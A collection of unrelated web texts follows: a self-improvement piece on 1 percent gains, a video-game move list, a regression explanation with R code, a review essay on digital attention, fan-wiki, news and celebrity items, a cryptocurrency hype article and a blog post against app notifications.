long-term—that 1 percent compounds on itself and produces results you never could’ve imagined.  The Difference 1 Percent Makes  Figure 1 explains the difference between improving and regressing by 1 percent every day for 1 year.  As you can see, a 1 percent improvement every day for one year equals to 37.8. In other words, that’s a 3,680 percent improvement! On the other hand, a 1 percent regression equals to 00.3 – a 97 percent regression. [2]  Maybe time doesn’t allow you to improve by 1 percent every day, but what about if you improved by 1 percent every week?  As you can see from Figure 2, even a 1 percent improvement every week for 1 year is still a 67 percent improvement.  The complicated math aside, let’s discuss how you can apply this. [3]  The Daffodil Principle in Practice  The Daffodil Principle isn’t applicable to all processes on a daily basis (you don’t want to over-train with exercise for example) but it certainly is on a weekly basis.  Your 1 percent improvement can also be measured in one of two ways: (1) qualitative improvement or (2) quantitative improvement.  Let’s look at a few examples of applying The Daffodil Principle on a weekly basis with both qualitative and quantitative improvements:  If your goal is to write a book, a qualitative improvement to your process could be improving your knowledge of writing, grammar, and syntax by practicing and judging what feels right to you. A quantitative improvement could be writing 1000 words a week (200 words every weekday) and writing 1 percent more every week.  If your goal is to run a marathon, a qualitative improvement to your process could be improving your diet, observing how you feel (both before and after) and replacing any negative habits you have (like smoking). A quantitative improvement could be improving your personal best by 1 percent every week.  If your goal is to find a romantic partner, a qualitative improvement to your process could be improving how your feel about yourself using affirmations, practicing gratitude and dressing better. A quantitative improvement could be talking to 10 new people every week and improving your conversation skills by 1 percent every week.  Maybe practicing The Rule of Five can account for your 1 percent improvement every day or week. Tracking this on Excel will help motivate you when you feel challenged.  A Final Word  Granted, determining what a 1 percent improvement is for you may be difficult to track if it’s qualitative, but it’s usually up to your own assessment.  I prefer a qualitative improvement in my processes and my rule of thumb is to ask myself: “Do I feel like I’ve improved in (process) today?” For example, if I’m focusing on improving my writing, that can be proofreading my work more thoroughly, using a new word I’ve learned or double checking a grammatical rule. In other words: “Did I take an action I wouldn’t have usually taken?” If I feel like an article I’ve written is better than the one that preceded it, I feel like I’m improving.  Improving by 1 percent every day or week is achievable – regardless of your circumstances. If you’re currently encountering resistance with your goals, remember the words of Karen Lamb: “A year from now, you will have wished you’d started today”.  What can you start now?
-With the Dissidia Final Fantasy NT beta now upon us, many people have been clamoring for a move list for each character. Fear not, we’ve got you covered with move lists for each character in Dissidia Final Fantasy. Now that the game is available and out of beta, all characters and attacks are free for players to use, and you’ll find all of the available attacks below for each character. Make sure you have these Dissidia character move lists up and ready to look at so you know what attacks to use and when.  Move List Basics  Most characters have a ground and aerial attacks. That means pressing the same button on the ground may give you a different attack in the air. If you need some assistance knowing the difference between the various attack types, we’ve already covered that in another article. Here you’ll find each characters Brave Attacks, HP Attacks, and EX Skills which we also covered how to acquire in a separate article.  Ace  Bartz Klauser  Cecil Harvey  Cloud of Darkness  Cloud Strife  Emperor  Exdeath  Firion  Garland  Golbez  Jecht  Kain  Kefka  Kuja  Lightning  Noctis  Onion Knight  Ramza  Sephiroth  Shantotto  Squall Leonhart  Terra Branford  Tidus  Ultimecia  Vaan  Warrior of Light  Y'shtola  Zidane Tribal  For more on the game, including beginner tips, be sure to check out our Dissidia Final Fantasy NT game hub!
-$\begingroup$  When you fit a regression model such as $\hat y_i = \hat\beta_0 + \hat\beta_1x_i + \hat\beta_2x^2_i$, the model and the OLS estimator doesn't 'know' that $x^2_i$ is simply the square of $x_i$, it just 'thinks' it's another variable. Of course there is some collinearity, and that gets incorporated into the fit (e.g., the standard errors are larger than they might otherwise be), but lots of pairs of variables can be somewhat collinear without one of them being a function of the other.  We don't recognize that there are really two separate variables in the model, because we know that $x^2_i$ is ultimately the same variable as $x_i$ that we transformed and included in order to capture a curvilinear relationship between $x_i$ and $y_i$. That knowledge of the true nature of $x^2_i$, coupled with our belief that there is a curvilinear relationship between $x_i$ and $y_i$ is what makes it difficult for us to understand the way that it is still linear from the model's perspective. In addition, we visualize $x_i$ and $x^2_i$ together by looking at the marginal projection of the 3D function onto the 2D $x, y$ plane.  If you only have $x_i$ and $x^2_i$, you can try to visualize them in the full 3D space (although it is still rather hard to really see what is going on). If you did look at the fitted function in the full 3D space, you would see that the fitted function is a 2D plane, and moreover that it is a flat plane. As I say, it is hard to see well because the $x_i, x^2_i$ data exist only along a curved line going through that 3D space (that fact is the visual manifestation of their collinearity). We can try to do that here. Imagine this is the fitted model:  x = seq(from=0, to=10, by=.5) x2 = x**2 y = 3 + x - .05*x2 d.mat = data.frame(X1=x, X2=x2, Y=y) # 2D plot plot(x, y, pch=1, ylim=c(0,11), col="red", main="Marginal projection onto the 2D X,Y plane") lines(x, y, col="lightblue")  # 3D plot library(scatterplot3d) s = scatterplot3d(x=d.mat$X1, y=d.mat$X2, z=d.mat$Y, color="gray", pch=1, xlab="X1", ylab="X2", zlab="Y", xlim=c(0, 11), ylim=c(0,101), zlim=c(0, 11), type="h", main="In pseudo-3D space") s$points(x=d.mat$X1, y=d.mat$X2, z=d.mat$Y, col="red", pch=1) s$plane3d(Intercept=3, x.coef=1, y.coef=-.05, col="lightblue")  It may be easier to see in these images, which are screenshots of a rotated 3D figure made with the same data using the rgl package.  When we say that a model that is "linear in the parameters" really is linear, this isn't just some mathematical sophistry. With $p$ variables, you are fitting a $p$-dimensional hyperplane in a $p\!+\!1$-dimensional hyperspace (in our example a 2D plane in a 3D space). That hyperplane really is 'flat' / 'linear'; it isn't just a metaphor.
-14 Min read time Share:  Is digital life soulless or the site of a new transcendence?  Photo: Ars Electronica  Changing the Subject: Art and Attention in the Internet Age  Sven Birkerts  For years now there has been talk of a schism between the respective tribes of book and screen, between those whose medium relies on diligent, contemplative immersion and those who favor the more frictionless rewards of speed. In this conflict, the literary community has more often found itself on the defensive. Yes, the literati thrive online, but these communities are too often redolent of a bookstore “gifts” aisle, where expressions of tenderness for reading and writing—mugs, tote bags, #amwriting—displace the thing itself. There is more writing than ever, thanks to the ease of online- and self-publishing, but, partly as a result, what has long been a profession has come to feel more like a hobby.  Among the early signs of this mounting sense of imperilment was critic Sven Birkerts’s 1994 book The Gutenberg Elegies. Birkerts was alarmed by the emerging effect of new technologies on his beloved books and book reading, as digital distractions threatened to replace immersive narrative with contextless, fast-flying information. Twenty-one years later, much of what Birkerts feared has come to pass: electronic media have become all but inescapable in the developed world and, increasingly, beyond it. As Birkerts puts it in a new essay collection, Changing the Subject: Art and Attention in the Digital Age, the digital now has the appearance of a “common cognitive environment,” a pervasive climate or atmosphere escapable only via the kind of enforced digital diet that leaves one open to cries of “Luddite!” Birkerts still does not have a cell phone, let alone a smart one; uses email sparingly; and is awed and baffled by the GPS he rarely employs.  In the new collection, Birkerts adopts the vocabulary of the battlefield—“strike a blow,” “strengthen one’s position,” “strategized,” “hard won”—and embodies the role of a Mathew Brady, observing the fray from a not-too-distant hill and poignantly documenting his own side’s losses. He recognizes that the other camp holds most of the tangible assets—ease, utility, ready access to information—leaving his kind to defend something ambiguous, unknowable, and unquantifiable, the value of which lies in it being exactly so.  Most of the essays explore how technology has changed the spatial, affective, neurological, and transcendent elements of individual identity—what Birkerts calls the “phenomenology of digital living.” This, in turn, has bearing on the fate of imagination and inwardness, qualities that are the foundation of literature and art. The crisis is an ontological, even spiritual one.  Birkerts is concerned, in other words, about our souls, which may not survive when every moment of contemplation is ruptured, every immanence mediated, and the very concept of the unknown undone by Google. But there may yet be a way to preserve our souls, to make space for the transcendent even in the midst of our busy, digital lives.  • • •  On its face, Birkerts’s critique is a fairly common one. Perhaps he knows this and so trades sweeping judgments for interrogations of his own vague sense of anxiety, his email use, his skimming of articles online. The pronouns are often plural, suggesting universalism, but the arguments are subjective: “The existence of the medium has created an unremitting low-intensity neural disquiet that we somehow feel only the medium can allay,” he writes. “We are on the run from the anxious vibration of our living.” Close-reading his own responses, though, he finds himself groping to describe what he is running toward.  Still, it is hard to argue with the changes Birkerts sees. There is little doubt that technology alters our thinking: studies have shown a decreased ability to concentrate for sustained lengths of time, and, conversely, an increased tendency to multitask, with physical effects on the brain. That technology has an effect on our being is not a revolutionary claim. As David Lochhead, a theologian interested in media, wrote, we “take our technology into the deepest recesses of our souls. Our view of reality, our structures of meaning, our sense of identity—all are touched and transformed by the technologies which we have allowed to mediate between ourselves and the world.” This is true of any technology, from spades to books and telescopes. But the pace of change—and level of mediation—is inarguably greater today. So great that it may constitute a difference in kind.  Birkerts resists a mechanized world. There are other ways to save our souls.  “In a grievance-venting mood, I can have a field day,” Birkerts writes. “How few are the unmediated interchanges, how rare the direct contacts, or even voice contacts—what a mess of procedure is now installed between the self and most anything.” These broad-stroke criticisms are familiar enough: critics as diverse as Jaron Lanier and Evgeny Morozov have noted the diminishment of tangible, tactile connections to people and processes; a decline in the “specific gravity” of things; and the shift from an Enlightenment ideal of the striving individual toward a hive mind thinking in hierarchies pre-determined by the likes of Apple and Google.  More interesting is what happens when Birkerts submits the present to the kind of close reading at which he excels. Sitting on a bench next to someone conversing on a cell phone, he notes how “the technology stains the moment with its disconcerting transmission of ‘elsewhere,’ removing the talker from the realm of closed-off immediate presence, affecting the whole environment. . . . I register that something deep in human ecology has been disturbed.” One might see here the symptoms of advanced technophobia, but it is worth noting how rarely we subject these now-banal encounters to this kind of phenomenological attention. Part of Birkerts’s deeper point is that such attention is more and more difficult to access, drawn as we are along constantly available, constantly expanding pathways of links, pics, vids, and other elsewheres that encourage rapid movement from one to the next.  As Birkerts sees it, the movement of the digital mind is lateral, directed at what is just over the horizon, along a trail laid for us by corporate interests. The digital mind uses information as a means to approach conclusion or synthesis. The movement of the Enlightenment mind, in contrast, is vertical, penetrating, profound, and inward-looking. The difference, in short, is between the mind that thinks for the sake of thinking itself and the mind oriented toward practical solutions. There is no doubt which Birkerts prefers: “Contemplation is not a subset category, not just one kind of thinking among many,” he writes. “It is the point of thinking, its alpha and omega.” This is a rather astonishing claim, but Birkerts answers that only contemplation gets at the existential, that it is “what almost inevitably follows as soon as we allow the possibility that existence is neither trivial nor incidental.” Unlike goal-directed analysis, contemplation is intransitive and for-itself, a form of experience that is both means and ends. It dabbles in the “terrain that lies to either side of certainty,” sublimating the world through the imagination.  What becomes of the contemplative mind, Birkerts wonders, when we let “the assumption of solvability take the place of what had always been a more provisional—possibly more investigatory—relation to our surroundings”? If the route can be easily found and followed, the answer easily called up, the right mate tabulated, the appropriate soundtrack predicted, what becomes of the “power of the immense unknown”? The iPhone fiddlers on a subway car may be doing business, filling the time, or, as Birkerts generously allows, engaged in a form of exploration. What they are not doing, though, is confronting the “unknown not just as what we don’t or can’t know, but as a philosophical premise of being—and ultimately the basis for seeing life as spiritually grounded.” Others—including the comedian Louis CK in a much-shared 2013 segment of Conan O’Brien’s TV show—have made more-or-less the same point. But Birkerts’s primary interest is in what happens to the imagination, that “mode of processing reality that is not amenable to statistics or calculations,” in a world where the unknown has been hidden away.  A techno-optimist will contend that, once everything is connected and automated—once the refrigerator can reorder our favorite beer and robots handle our dangerous tasks—humanity, relieved of tedium and hazard, will find itself free to live a life of productive artistic leisure, dedicated to family, to philosophy, to pursuing, as Birkerts puts it, “those soulful dialogues that, when they happen, feel like the ultimate point of our living.” But this techno-utopian future forces a rather embarrassing question: If every challenge is removed, if the for-itself of experience is replaced by means and ends, what is the point of living? What will our art be about? “To engage in such explorations requires massive inner resources,” Birkerts writes, “and to have soulful interchanges we must have soul. Where if not through the relentless abrasions of the unknown, in our responses to mystery and uncertainty, will we find that soul, or at least the inner materials we need?” This may echo grandma’s eat-your-broccoli, whatever-doesn’t-kill-you-makes-you-stronger theory of character building, but that doesn’t mean it should be discounted. It draws, too, on the European Romantic tradition and its beautiful conception of soul as the burr produced on us by our friction against the world during our brief passage through. In this tradition, art’s intention is to redefine, as Keats wrote in an 1819 letter to his siblings, an earthly “vale of tears” as a “vale of soul-making.”  It isn’t surprising how near Birkerts’s critique comes to the domain of spirituality and religion. Although he dismisses “a mysticism of crystals and tarot packs,” what is at stake remains a kind of transcendence, the “above and beyond” of existence that surpasses our daily needs. It is a kind of transcendence that finds a ready home in the Romantic conception of art and literature, one that probes the “why” of existence. In his coup de grâce, Birkerts cites Rainer Maria Rilke’s incomparable Ninth Elegy. “Why,” Rilke asks in that poem, “have to be human”? Perhaps, he answers, we are here to bring the world into consciousness, for “saying: House, / Bridge, Fountain, Gate, Jug”:  Fleeting, they look for Rescue through something in us, the most fleeting of all. Want us to change them entirely, within our invisible hearts, Into—oh, endlessly—into ourselves! Whosoever we are. Earth, isn’t this what you want: an invisible Re-arising in us?  It is a powerful demonstration of how the existential unknowns of the world are sublimated through language into higher awareness. Not only does the poem speak of this form of transcendence, but it also evokes exaltation in the reader, the profound recognition of two subjectivities—Rilke’s and one’s own—vibrating at the same frequency. Needless to say, the connection is of a different order than that enabled by, say, Facebook.  Yet Birkerts recognizes, too, that this may seem rarefied: we are talking, after all, about a cell phone. But the threat, as he sees it, is not to daily reality but to those moments of supreme dread and exaltation that define the existential—and, yes, spiritual—boundaries of human life. After all, as Keats wrote, even “if [man] improves by degrees his bodily accommodations and comforts . . . he is mortal and there is still a heaven with its Stars above his head.”  To Birkerts, art is an act of attention, framing a piece of the world through the imagination, imbuing it with meaning. He draws on both Iris Murdoch’s sense of “loving attention” and Simone Weil’s idea of attention as a kind of prayer. In imagination-as-attention, Birkerts finds transcendence and morality, an “act of the spirit,” a way of turning the world into soul as Rilke instructed. Birkerts, here, comes close to the thought of the American Transcendentalists. Confronted by the rapid mechanization and industrialization of the early nineteenth century, Transcendentalists found meaning in and through unmediated attention to the natural world, recognizing the immanence of nature and the sacred in man. Birkerts identifies in our own digital revolution a need for a new Transcendentalism: a spiritual, aesthetic, and moral renewal achieved through contemplation, idleness, interiority, receptivity, the organic, and the unique. Such a movement would protest the digital status quo on behalf of the “seeking, self-apprehending” individual. “Each new age requires a new confession,” Emerson wrote, “and the world seems always waiting for its poet.”  Is there space for such a poet today? Birkerts is pessimistic. He despairs that what Emerson called an awareness of the “spiritual fact” cannot persist when digital technology has placed such a thick barrier between us and the world, replacing the sublime act of attention with a perpetual state of distraction. Besides, he writes, people simply don’t talk that way any more, outside of religion, and it all sounds a bit silly, “for we don’t credit the inward as a place for progress or gain, or anything much at all.” How do we create, Birkerts asks, if we cannot take ourselves seriously as souls?  Perhaps such pessimism is warranted in a world where “mindfulness” is little more than a buzzword and “soul” most commonly refers to a fitness craze. Where subjective judgment is superseded by data, the mental cathedral, as Nicholas Carr put it in The Shallows (2010) is replaced by a mental bazaar. The comparison is useful, as the activity conducted in both church and marketplace is a kind of search, which is of course central to what this technology is for: not just Google, but GPS, dating apps, Netflix, Facebook, Amazon—all guide us toward what they think we want. The shift from cathedral to bazaar represents a shift from search as contemplation to search as a way for capitalism to extract value, exploiting information as an energy company might an oil well. The purpose of the tools is a kind of hyper-capitalism in which freedom is freedom of commerce whenever and wherever, and, thanks to the increasing connectivity of mundane objects, often without deliberate participation.  Birkerts’s response is to opt out to the extent that he can. But we might also confront these challenges by encouraging a change in the terms of the search. As I see it, the task of a new Transcendentalism would be less to actively oppose digital technology or save us from it than to, as Rilke put it, “change it into ourselves,” bringing to it the same kind of transformative, sustained attention that the Transcendentalists brought to the natural world.  “Why should we not also enjoy an original relation to the universe?” Emerson wondered in his introduction to the essay “Nature.” “Why should not we have a poetry and philosophy of insight and not of tradition?” One might put the same question to the connected world of today. Most of us will have to use these tools, like it or not; why let someone else decide our relation to them? Transcendentalism was as much about resisting imposed structures of control and interpretation as it was about resisting a mechanized world. Perhaps the role of art now, the way it can best fill the spiritual voids left by our immersion in the digital, is to create for us an “original relation” to it.  Birkerts, whose references lie mainly outside of contemporary art, may not have encountered it yet, but such art is being made, whether or not it jibes with one’s taste. While much so-called digital or “net” art merely mimics systems of interpretation already in place, there are those artists, now, whose interest is not in the strategies and selling-points of the system but in finding an honest relation to it. Far from Silicon Valley, there are tinkerers whose work more closely resembles a kind of folk art, whose objective is not the next billion-dollar app but the creation of soul-satisfying uses for and meaningful investigation of the digital tools and interactions that constitute daily life: Taeyoon Choi’s handmade computers, for instance, and Brian House’s “tanglr,” a shared browsing extension for Google Chrome. In works such as Addie Wagenknecht’s “Data and Dragons” sculptures, James Bridle’s rorschmap.com, Adam Harvey’s anti-surveillance fashions, Nick Briz’s “glitches,” and Tega Brain’s “eccentric engineering,” technology becomes more than a means to an end. These artists build circuits and programs and other objects for the sake of beauty and contemplation, approaching ones and zeros in the spirit of language. They find there, no doubt, a sensation akin to Nabokov’s “aesthetic bliss.”  Literature, at least that which is widely disseminated and read, lags behind these efforts. But it is not hard to see where it, too, could achieve this: perhaps not in the plot-driven, immersive novels Birkerts prefers, but in works that use the digital characteristics of fragment, association, connection, and speed to create not just meaning but a transcendence of the medium itself.  This would be an expansive, inclusive, nimble literature—the rhizome rather than the root tree. Interpreting and sublimating the digital world, such a literature could provide what Deleuze and Guattari meant by a “body without organs”: a deeper reality underlying the appearance of something complete and whole, which returns one to the freedom of original relation. This is the space reserved for the poet of today.
-http://tvtropes.org/pmwiki/pmwiki.php/LetsPlay/HATFilms  From left to right: Trott, Ross and Smith  Advertisement:  Hat Films are a trio of British gamers who became part of the Yogscast family in 2013. The trio, also sometimes called the "Sirs" are: djh3max (Ross Hornby), Trottimus (Chris Trott) and alsmiffy (Alex Smith or "Smiffy").  They have had several series on Minecraft and have also played, among other games, Trials, Worms and Grand Theft Auto V. They frequently partner and compete against Sips, Turpster and Lewis Brindley, and have played GTA 5 and Skyblock along with Garry's Mod Murder and Trouble in Terrorist Town among other members of the Yogscast on Sips' channel and the main Yogscast channel.  On top of their Let's Play gaming content, they have worked on official Minecraft trailers for Mojang, and produce an irregularly-updated animated machinima series: Filfy Animals.  They ALSO also do a podcast called HatChat, which can be found on their website, here .  They can be found here .  Aside from that, Trott is a cast member for High Rollers (2016).  Advertisement:  Tropes that pertain to the Sirs:
-SAN FRANCISCO, March 9 (UPI) -- San Francisco officials said the mess left by this year's massive Valentine's Day pillow fight has led them to take another look at the "flash mob" phenomenon.  The pillow fight, which marked its fourth year in February, involved an estimated 1,500 to 3,000 people at Justin Herman Plaza and left the city with thousands of dollars worth of damages and cleanup costs, the San Francisco Chronicle reported Monday.  Lisa Seitz Gruwell of the San Francisco Recreation and Park Department said organizers of the event must begin taking responsibility for the event, "otherwise we are going to have to find a way to shut it down."  However, officials said it is difficult to track down the organizers of the pillow fight since it is part of the flash mob fad, in which events are largely promoted through the Internet, text messaging and word of mouth. Flash mobs typically involve a large group of people gathering in a public place, engaging in unusual behavior and dispersing.  Mohammed Nuru, deputy director of the Department of Public Works, said the city had to dispatch 69 employees and an extra street sweeper truck to clean up after this year's pillow fight.  "It was quite a mess, much more than we have experienced in previous years," he said. "Everywhere was feathers."
-STEPHEN Baldwin may have been arrested for failing to file tax returns, but more importantly, he "blue steeled the s--t" out of his mugshot."  The image has gone viral after the actor sported a Zoolander-looking pout while posing for his close-up.  "Max Derek Zoolander should REALLY sue Stephen Baldwin," Twitter user Max said referring to the Ben Stiller character, "You can't steal "Magnum", use it in your mugshot, and then expect to get away with it."  Gawker called the snap "ridiculously good-looking," while Perez Hilton dubbed it the "best mug shot ever" and suggested he was "looking awfully smoldering for a man who could face four years in prison!"  The actor landed himself in trouble after failing to file returns for the years 2008, 2009, and 2010, reports TMZ.  Baldwin reportedly owes the New York state more than $350,000 in back taxes.  The D.A told the website: “At a time when Rockland County and New York State face severe fiscal shortfalls, we cannot afford to allow wealthy residents to break the law by cheating on their taxes.”  Baldwin reportedly faces up to four years jail if he doesn't pay up.
-The incredible speed and volatility of cryptocurrency was on full display over the past few days with IOTA. At the start of November, IOTA was a relatively obscure coin that was trading at around $0.38. Today, its value is closing in on $5.  While there’s nothing unusual about minor cryptocurrencies experiencing huge spikes in their valuation, IOTA is exploding in a way that could only really be compared to Ethereum. IOTA has just leapfrogged veterans Litecoin and Dash to become the fifth largest cryptocurrency by market cap. And there’s no indication that it’s stopping there.  Why is IOTA going supernova?  IOTA is a revolutionary platform that solves the main issues which have affected other cryptocurrencies – fees, scaling limitations, and centralization.  Fees and scaling limitations are by far the biggest barrier to Bitcoin ever becoming the digital currency it was originally envisioned as. As the blockchain ledger recording Bitcoin transactions grows ever larger, speed decreases as each Bitcoin transaction requires total verification of the entire blockchain.  The verification process for Bitcoin is conducted by miners who require a fee each time a transaction is processed. Bitcoin users are able to specify the fee they are willing to pay when making a transaction, which creates a bidding war when the network is congested. Miners obviously opt to verify the highest-paying transactions first, so the more popular Bitcoin becomes, the less likely it is that Bitcoin can ever be used for everyday purchases.  For Bitcoin, the problem of fees and scaling limitations are completely entangled. Other cryptocurrencies have scaling limitations of their own, with Ethereum’s transaction fees slowing down considerably thanks to the viral success of the kitten-breeding game CryptoKitties.  Centralization is happening inadvertently with Bitcoin, with power becoming concentrated in powerful mining firms who essentially control whether transactions get verified. Centralization is one of the central criticisms of other emerging cryptocurrencies like Neo, which operate a small number of nodes that could conceivably be taken out by any manner of digital or real-world catastrophes.  The first reason for IOTA’s sudden success is that it’s seemingly solved all these issues with the Tangle. The Tangle moves beyond blockchain to execute all transactions peer-to-peer, without any transaction fees. Instead of miners validating transactions on the ledger as with Bitcoin, verification is built into the ledger itself. The more popular IOTA becomes, the more widespread the transaction-verifying Tangle. Where scaling and network congestion hamstrings Bitcoin and Ethereum, IOTA actually becomes faster the more people use it.  The second reason is that the Tangle has got some major tech players very excited. It’s no coincidence that IOTA’s explosion in value followed an announcement of a partnership with Microsoft. Microsoft are very proactive in the cryptocurrency space. They recently launched a development contest with Neo and they are one of the main players in the Ethereum Enterprise Alliance. The company responsible for making PCs user-friendly fared poorly in the smartphone space, with Windows Phone never coming close to rivalling Android or iPhone’s market share. Microsoft are keen to be at the front of the pack when it comes to the rapidly-evolving world of blockchain and cryptocurrency.  The third reason is speculation at its wildest. The cryptocurrency market is a hyper-charged version of the stock market where a slight bearish trend can become hysteria within hours. All-time highs generate headlines which generate speculation which generates more headlines, and the price starts increasing exponentially purely because the price is increasing exponentially.  How far can IOTA climb?  Speculation is still at the heart of all cryptocurrency investments and we may still be years from seeing the technology behind IOTA being used to its full potential. However, if it fulfils even a fraction of that potential, there’s almost no limit to how big IOTA can get.  While Bitcoin is increasingly referred to as digital gold, IOTA is positioning itself as the crypto equivalent of a major energy conglomerate. Central to IOTA’s potential is the idea that data is the oil of the digital economy. To take this metaphor to its logical conclusion, IOTA may have just invented the internal combustion engine.  IOTA’s combination of secure data transfer and zero transaction fees enable the sharing and monetization of data on a grand scale. IOTA’s vision is of a near-future in which data is freely and instantly amalgamated from smart devices connected to the Internet of Things.  We are already living in the early years of the data age, with an incredible amount of information on all of us existing on the internet and in the databases of the myriad companies we interact with every day. As IOTA points out on its website, 99% of the data that is currently generated is lost due to there being no real way to sync-up the data generated by every internet-connected device. The Tangle makes it easy for companies to automate the sharing and selling of this data.  Before Microsoft got on board, IOTA had already announced partnerships with Cisco Systems, Samsung, and Volkswagen. Its easy to see why the Tangle’s game-changing utilization of data would be incredibly interesting to major companies like this.  The suddenness of IOTA is surprising even by cryptocurrency’s crazy standards. The majority of trading volume is currently being conducted through Bitfinex and Binance. Korea’s largest exchange, Bithumb, will be adding IOTA soon, which could cause the value to rise even higher.  Cryptocurrency is so new, and IOTA is so different to every other player in the space, that there really is no guide by which to predict its future. The spikes and dips that have marked Bitcoin’s ascension can be plotted against trends experienced by other markets and technologies, allowing somewhat-educated guesses to be made about its future direction. But when something moves as suddenly as IOTA, all bets are off. The price could continue to sky-rocket or it could collapse tomorrow. The more speculation mounts, the more unpredictable things become.  But IOTA is undoubtedly an incredibly interesting project with almost unlimited potential.
-Notifications Suck  Doug Turnbull Blocked Unblock Follow Following Jan 7, 2016  I hate notifications with a passion.  Do you ever walk into a room and forget what you came in for? You probably got distracted by something else. Maybe a stray interesting thought, or maybe you saw something that reminded you of something else.  Well do you ever turn on your iPad and forget why you turned it on? You probably saw some red badge. And that badge got you sucked into a work email. Then before you know it you’re chewing over some big stressful thing. You may even try to hammer out a response.  Hell and that’s PRODUCTIVE! I can’t tell you the number of times I’ve tripped into social media arguments with people. Trump said what!?! Surely the commenters are as outraged as I am. Oh wait what did this idiot say. Surely I must respond to this wrong person on the Internet! My comment will resonate so loudly as to alter the course of human history.  Then you close the iPad. It’s an hour later. And you were going to read a book. Or learn something new. You got completely sidetracked by that thing you were going to do. The baby is now crying. Or it’s time to go somewhere. You lost an hour of internet-driven self discovery to distractions and arguing with wrong people in the Internet.  Repeat after me: Notifications are pointless interruptions! If you see the verb “notify” replace it with “distract” or “interrupt.” Really when you think about it, in the grand scheme of things you only care about being interrupted by a few really important things  The house is on fire Someone important calls you (it takes real work for them to call you) Maybe one or two people send you a text-based message (message from spouse)  That’s IT. However, some apps would have you be disrupted for items as trivial as  Someone you worked with 10 years ago has had a birthday Somebody moved a trello card There’s new flights to check out for that trip you were shopping for A random person liked your thing (tweet/post/blog article) on the Internet (somehow we’ve been conditioned to have this be extremely important) A random person posted a comment on a random forum I happen to have kept open in some tab  And while this information can sometimes be important, it’s not worth being interrupted for. It’s something you can check later, when you have time. You really don’t need to know when someone responds to you on Facebook. Knowing immediately that someone has retweeted you has almost no value to you.  Yet somehow we’ve bought into these notifications as having importance. Some tie into our work lives — important email I must respond too! Some tie into our sense of ego gratification: something valuable is happening now to you. “Did Rick Astley just retweet me? Holy crap! I’m important!” Others want to tie to the (rather stupid) idea that opportunity only knocks once. Some plane fare is cheap if I act in the next 20 minutes!? Others simply come along for the ride because, as we’ll discuss they’re desperately trying to get you to care about the app. Still many others simply think “notifications: why not?” (looking at you Discuss!).  Take an inventory of the notifications in your life. Are they *really* important? Even the important email can wait until tomorrow. If work is really on fire, someone should have your number — they CAN call you.  Point 2: Focus, not information, not responding quickly, FOCUS is your most precious resource.  Ok we get notifications distract. They interrupt. But sometimes they’re fun. It’s neat to see that someone enjoys what we’re saying. Or getting that cheap flight can also be fun. Why should we care about notifications?  Notifications damage our focus. They’re unhealthy. Why? Because they rob us of focus.  We already rob ourselves of focus when we check Facebook, Twitter, etc during a work day. Why drive the nail deeper by letting these apps have the ability to directly distract us? Its like trying to diet and constantly being shown a box of donuts. Want some donuts? They look good don’t they. Go on take just one!  Focus, not information, not the ability to react quickly, FOCUS is like gold. Its a rare resource. Its capital you can invest in something else. Focus means learning, solving problems, writing, producing. Only through focus and concentration do we grow.  If you can’t focus on learning anything, what’s the point in sitting in front of a device that holds the entire sum of human knowledge?  In fact, I’ve got a startup pitch for you. A totally notification (and distraction) proof tablet. Instead of the ability to switch between apps. Instead of being monitored and cajoled into certain behaviors, you take content you wish to learn and imprint it on a single-use screen. This screen cannot distract you. It’s physically impossible. It comes with a 100% concentration guarantee. There’s no icons, popups, badges, dancing bears, or anything! I’d pay real money for that!  Yeah no duh you’re saying, it’s called a book. It’s a subatomic particle of information in the vast ocean of knowledge available on the Internet. But it never takes away your focus. You’re never tempted to check twitter for retweets. You have a real chance of getting deep into the content. Of really focussing. You have no ability to accidentally find yourself in email or a chat room.  Sitting in front of an internet connected device to focus increasingly feels like futile dieting. It’s too tempting to get that little hit of dopamine. Apps sit too eager to notify you of some pointless affair that seems more fun than the mental exercise you sat down to do. Somebody liked your post or the silly joke you made on twitter! That’s a small bit of excitement that can fill you — just like eating that M&M. A small reward that builds up to larger pain.  I’m starting to wonder if, like obesity, ADD is the new disease of the affluent. Instead of that hard bit of mental exercise I end up hitting the reward lever, eating the mental equivalent of skittles for an hour.  Lately I’ve put the tablet away at bedtime. While I value it’s ability to explore every facet of human information, I often get far more than the 300 page linear algebra book at my bedside that I read (and really learn!) 2 pages at a time. Even with every notification turned off on my tablet, my concentration with a book deepens, my desire to find that little hit of dopamine removed. Just like dieting, environment control is key. You don’t regret not eating brownies when there’s no brownies around. If there’s nothing around but salad, fruit, and lean meats suddenly you eat well without a constant epic struggle of willpower.  If you want to experience this yourself, take a book on your next plane ride. (hurry before all airplanes have ubiquitous Internet too!) Suddenly your concentration comes back. Your ability to do hard mental work sinks in. You get a ton out of that book.  Protect your focus. It’s far too precious to waste.  Point 3: Notifications are a proxy for poor discovery and design  Notifications distract us, prompting us to make unhealthy choices with our attention. But why are they used for apps for even trivial things?  The reason many notifications exist to tell you stuff that perhaps the app sucks at telling you during normal usage. Spam exists because they need to get you back into the app. The app by itself isn’t sticky enough. It’s not leading you to the right places or the right content. GET BACK IN HERE PLEASE I HAVE THINGS TO SHOW YOU!1!1  If you’re creator of said app, and you think “I know I’ll send them a notification” please reconsider. Instead, think hard about your app:  Is it interesting?  Do you understand the value users want to get out of your app? Does that not line up with what you’re providing?  Are you recommending the right content/products/etc to users?  When readers search, do they find what they want? This is especially important, because users tell you in their own words what they think your app is  If I may pick on one candidate for this, it’d be LinkedIn. As a consultant, I use LinkedIn to connect professionally with a broad variety of folks. I want to enter the app and see if there’s any business opportunity for me. Secondarily, I want to see what others in my profession are sharing and discussing.  Recently LinkedIn updated their iOS app, and the following seem to be given equal weight as notifications:  someone had a birthday (really on a professional site?)  somebody posted a new post (ok that’s nice, but next)  somebody wants to connect (meh WAIT I BARELY NOTICED IT)  somebody switched jobs (ok that’s nice, but next)  somebody has a work anniversary (what is this the 60s? did they get a watch?)  somebody sent me a message about work (huh moving on, OH CRAP YES I WANT TO TALK TO YOU)  somebody in a group posted some crap  In reality I *care* about two things in this list, in order of priority  Somebody sent me a message about work Somebody wants to connect with me  LinkedIn lost what I am looking for in a sea of irrelevant information. They’ve probably noticed I’ve gone away and don’t use their app as much. So guess what the solution is: NOTIFY ME OF EVERYTHING IN THE ABOVE LIST.  What if instead of spamming me about people’s birthdays, interrupting my precious focus, and distracting me into a confusing app — what if they instead worked really really hard on the two things in my list above. How badass would that be?  Or to speak more broadly, what if LinkedIn focussed on the use case of pairing like minded folks with similar professional interests. This means  Helping matching me to like minded folks (probably through search and recommendations) Creating a way for us to communicate and share information  Do that, then trim the fat. 